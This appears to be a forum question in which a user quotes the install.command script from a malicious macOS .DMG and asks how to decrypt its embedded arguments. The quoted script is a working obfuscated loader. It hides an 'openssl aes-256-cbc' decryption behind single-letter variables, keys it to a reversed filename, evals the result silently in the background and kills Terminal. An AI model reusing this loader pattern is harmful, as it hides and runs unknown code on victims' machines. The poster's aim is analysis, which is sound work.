I stumbled upon some kind of malicious .DMG package. I have seen people bringing this modus operandis, but I would like to know how to decrypt the arguments within the script code.
I have tried all imaginable possibilities with openssl and have just, presumably, had success finding the uncoded base64, but yet encrypted, string of args. Can someone help me finding a way to decrypt it?
Thank you in advance.
the .dmg contains 2 files:
File 1) install.command Content:
##!/bin/bash
G="a";F="c";Q="d";H="e";V="l";Z="m";X="n";T="o";J="p";K="s";
export appDir=$(cd "$(dirname "$0")"; pwd -P)
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
export archive="$(echo $binFile | rev)"
export commandArgs='U2FsdGVkX1/MUy+BnVes66qUAHeVLtB+EBV6jvLDEpgJ6RbBaZvgH3gq8EE75t4voue4ozCwYUC6/2B+g2oKKVah4UzxtR+BcCiO/tOqHyqgzIO1hsBwYKNJRYLm0YFnYB2nbJnUpaS6cPBIR8r9H5cFeHL1jaE9ZebSu0V2K1NJjpdoJ7tgbeS7LGpFrVDEzXjR92nwX7eJCQMGYhOIMx+DeN5yBXwpPD59BnypLtqORX2AVmecDHlAPOKBGuXKdiOEJss6I59D0NiHX5Mm1jVCtQq5Wim9SJk5lw2WC3GWzGYxHQRdvBTfzc7M7+Ki'
decryptedFommand="$(echo -e "$commandArgs" | ${T}${J}${H}${X}${K}${K}${V} ${H}${X}${F} - ${G}${H}${K}-256-cbc -${Q} -A -b${G}${K}${H}64 -${J}${G}${K}${K} "${J}${G}${K}${K}:$archive")"
nohup /bin/bash -c "eval \"$decryptedFommand\"" >/dev/null 2>&1 &
killall Terminal #
A second file called Z0kKERs3XQ and it basically contains a massive what seems to be encrypted string
My question is: how can I decrypt the "commandArgs" variable, knowing Z0kKERs3XQ is the key/password or whatever?
Thank you in advance.